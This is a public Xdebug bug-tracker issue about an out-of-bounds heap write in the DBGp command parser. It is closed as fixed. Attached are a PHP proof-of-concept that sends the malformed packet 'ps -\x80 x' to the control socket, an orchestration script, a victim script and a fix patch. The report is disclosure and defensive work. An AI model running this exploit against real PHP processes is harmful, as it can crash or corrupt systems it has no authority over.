View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0002421 | Xdebug | Step Debugging | public | 2026-05-19 22:53 | 2026-06-08 14:36 |
| Reporter | ilia | Assigned To | derick | ||
| Priority | normal | Severity | crash | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 3.5.1 | ||||
| Target Version | 3.5dev | Fixed in Version | 3.5.3 | ||
| Summary | 0002421: Crash with wrong option letter in DBGP and socket commands | ||||
| Description | xdebug_cmd_parse uses Fix: reject bytes outside [a-z] | '-' in | ||||
| Steps To Reproduce |
| ||||
| Additional Information | | ||||
| Tags | No tags attached. | ||||
| Attached Files | attacker.php (2,069 bytes)
<?php
/* XD-001 PoC attacker. Connects to the xdebug control socket
* @xdebug-ctrl.<pid> in the Linux abstract namespace and sends
* a malformed packet that drives xdebug_cmd_parse into an OOB
* read/write at src/lib/cmd_parser.c:115-116.
*
* Usage: php attacker.php <victim_pid>
*
* The malformed packet is `ps -\x80 x`:
* - `ps` : a real command (so the parser enters the option
* phase after the first space)
* - `-` : opens an option group
* - `\x80`: option byte. opt_index = (signed char)0x80 - 'a'
* = -225. args->value[-225] is 1800 bytes below the
* 216-byte heap allocation.
* - ` x` : value (the OOB write deposits a pointer to an
* xdebug_str_create("x", 1) at args->value[-225]).
*
* Requires the PHP sockets extension.
*/
if ($argc < 2) {
fwrite(STDERR, "usage: php $argv[0] <victim_pid>\n");
exit(1);
}
$pid = (int) $argv[1];
if (!extension_loaded('sockets')) {
fwrite(STDERR, "this PoC needs the `sockets` PHP extension\n");
exit(2);
}
$sock = socket_create(AF_UNIX, SOCK_STREAM, 0);
if (!$sock) {
fwrite(STDERR, "socket_create: " . socket_strerror(socket_last_error()) . "\n");
exit(3);
}
/* Linux abstract namespace: leading NUL in sun_path. */
$addr = "\x00xdebug-ctrl.$pid";
if (!@socket_connect($sock, $addr)) {
fwrite(STDERR, "socket_connect failed: " . socket_strerror(socket_last_error($sock)) . "\n");
exit(4);
}
echo "connected to @xdebug-ctrl.$pid\n";
$payload = "ps -\x80 x";
socket_write($sock, $payload, strlen($payload));
echo "sent: " . bin2hex($payload) . "\n";
$reply = '';
while (($chunk = @socket_read($sock, 4096)) !== false && $chunk !== '') {
$reply .= $chunk;
}
echo "reply: " . substr($reply, 0, 200) . (strlen($reply) > 200 ? "...\n" : "\n");
socket_close($sock);
echo "\n";
echo "If the victim is running under AddressSanitizer, its stderr\n";
echo "should now contain a heap-use-after-free report at\n";
echo " src/lib/cmd_parser.c:115\n";
echo "with the bad address inside a 216-byte freed region.\n";
run.sh (1,478 bytes)
#!/usr/bin/env bash
# XD-001 PoC orchestrator. See README.txt for prerequisites.
#
# Edit these three paths to match your environment:
PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php}
XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so}
ATTACKER_PHP=${ATTACKER_PHP:-php}
set -u
HERE=$(dirname "$0")
if [ ! -x "$PHP" ]; then echo "PHP=$PHP not executable"; exit 2; fi
if [ ! -f "$XDEBUG_SO" ]; then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi
if ! command -v "$ATTACKER_PHP" >/dev/null; then
echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2
fi
VICTIM_OUT=$(mktemp)
trap 'rm -f "$VICTIM_OUT"' EXIT
echo "spawning ASan-instrumented victim ..."
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \
"$PHP" \
-d zend_extension="$XDEBUG_SO" \
-d xdebug.mode=develop \
-d xdebug.control_socket=default \
"$HERE/victim.php" \
>"$VICTIM_OUT" 2>&1 &
VICTIM_BG=$!
# Wait for the victim to print its PID and bind the socket.
sleep 1
PID=$(grep -oE 'pid=[0-9]+' "$VICTIM_OUT" | head -1 | cut -d= -f2)
if [ -z "$PID" ]; then
echo "victim never printed its PID. Output:"
cat "$VICTIM_OUT"
kill "$VICTIM_BG" 2>/dev/null || true
exit 3
fi
echo "victim pid=$PID"
echo
echo "running attacker ..."
"$ATTACKER_PHP" "$HERE/attacker.php" "$PID"
# Let the victim finish so ASan flushes its log.
wait "$VICTIM_BG" 2>/dev/null
echo
echo "---ASan victim log (tail) ---"
tail -80 "$VICTIM_OUT"
victim.php (563 bytes)
<?php
/* XD-001 PoC victim. Prints its PID, then busy-loops calling a
* user function so xdebug's per-statement tick fires and
* dispatches incoming control-socket connections.
*
* Run under xdebug.mode=develop with xdebug.control_socket=default.
*/
echo "pid=" . getmypid() . "\n";
flush();
function tick()
{
/* user function call -> xdebug_execute_ex ->
* xdebug_control_socket_dispatch */
return 1;
}
$end = microtime(true) + 8;
while (microtime(true) < $end) {
for ($i = 0; $i < 100; $i++) {
tick();
}
usleep(1000);
}
xd001_fix.patch (701 bytes)
diff --git a/src/lib/cmd_parser.c b/src/lib/cmd_parser.c
index 2978ba9c..e3650125 100644
--- a/src/lib/cmd_parser.c
+++ b/src/lib/cmd_parser.c
@@ -85,8 +85,15 @@ int xdebug_cmd_parse(const char *line, char **cmd, xdebug_dbgp_arg **ret_args)
}
break;
case STATE_OPT_FOLLOWS:
- opt = *ptr;
- state = STATE_SEP_FOLLOWS;
+ /* Only accept option letters in [a-z] plus '-'; anything
+ * else would land args->value[opt - 'a'] outside the
+ * 27-slot array. */
+ if ((*ptr >= 'a' && *ptr <= 'z') || *ptr == '-') {
+ opt = *ptr;
+ state = STATE_SEP_FOLLOWS;
+ } else {
+ goto parse_error;
+ }
break;
case STATE_SEP_FOLLOWS:
if (*ptr != ' ') {
| ||||
| Operating System | |||||
| PHP Version | 8.4.10-8.4.19 | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-05-19 22:53 | ilia | New Issue | |
| 2026-05-19 22:53 | ilia | File Added: attacker.php | |
| 2026-05-19 22:53 | ilia | File Added: run.sh | |
| 2026-05-19 22:53 | ilia | File Added: victim.php | |
| 2026-05-19 22:53 | ilia | File Added: xd001_fix.patch | |
| 2026-05-20 10:24 | derick | Steps to Reproduce Updated | |
| 2026-05-20 16:01 | ilia | Description Updated | |
| 2026-05-20 16:01 | ilia | Steps to Reproduce Updated | |
| 2026-05-20 16:01 | ilia | Additional Information Updated | |
| 2026-05-27 11:26 | derick | Status | new => assigned |
| 2026-05-27 11:26 | derick | Product Version | => 3.5.1 |
| 2026-05-27 11:26 | derick | Target Version | => 3.5dev |
| 2026-05-27 11:26 | derick | Summary | Heap OOB write in DBGp / control-socket command parser => Crash with wrong option letter in DBGP and socket commands |
| 2026-05-27 11:36 | derick | Note Added: 0007499 | |
| 2026-05-27 13:21 | derick | Assigned To | => derick |
| 2026-05-27 13:21 | derick | Status | assigned => closed |
| 2026-05-27 13:21 | derick | Resolution | open => fixed |
| 2026-05-27 13:21 | derick | Fixed in Version | => 3.5dev |
| 2026-06-08 13:23 | derick | Note View State: 0007499: public | |
| 2026-06-08 13:43 | derick | Severity | minor => crash |
| 2026-06-08 13:43 | derick | Category | Uncategorized => Step Debugging |
| 2026-06-08 13:43 | derick | View Status | private => public |
| 2026-06-08 14:28 | derick | Fixed in Version | 3.5dev => 3.5.2 |
| 2026-06-08 14:36 | derick | Fixed in Version | 3.5.2 => 3.5.3 |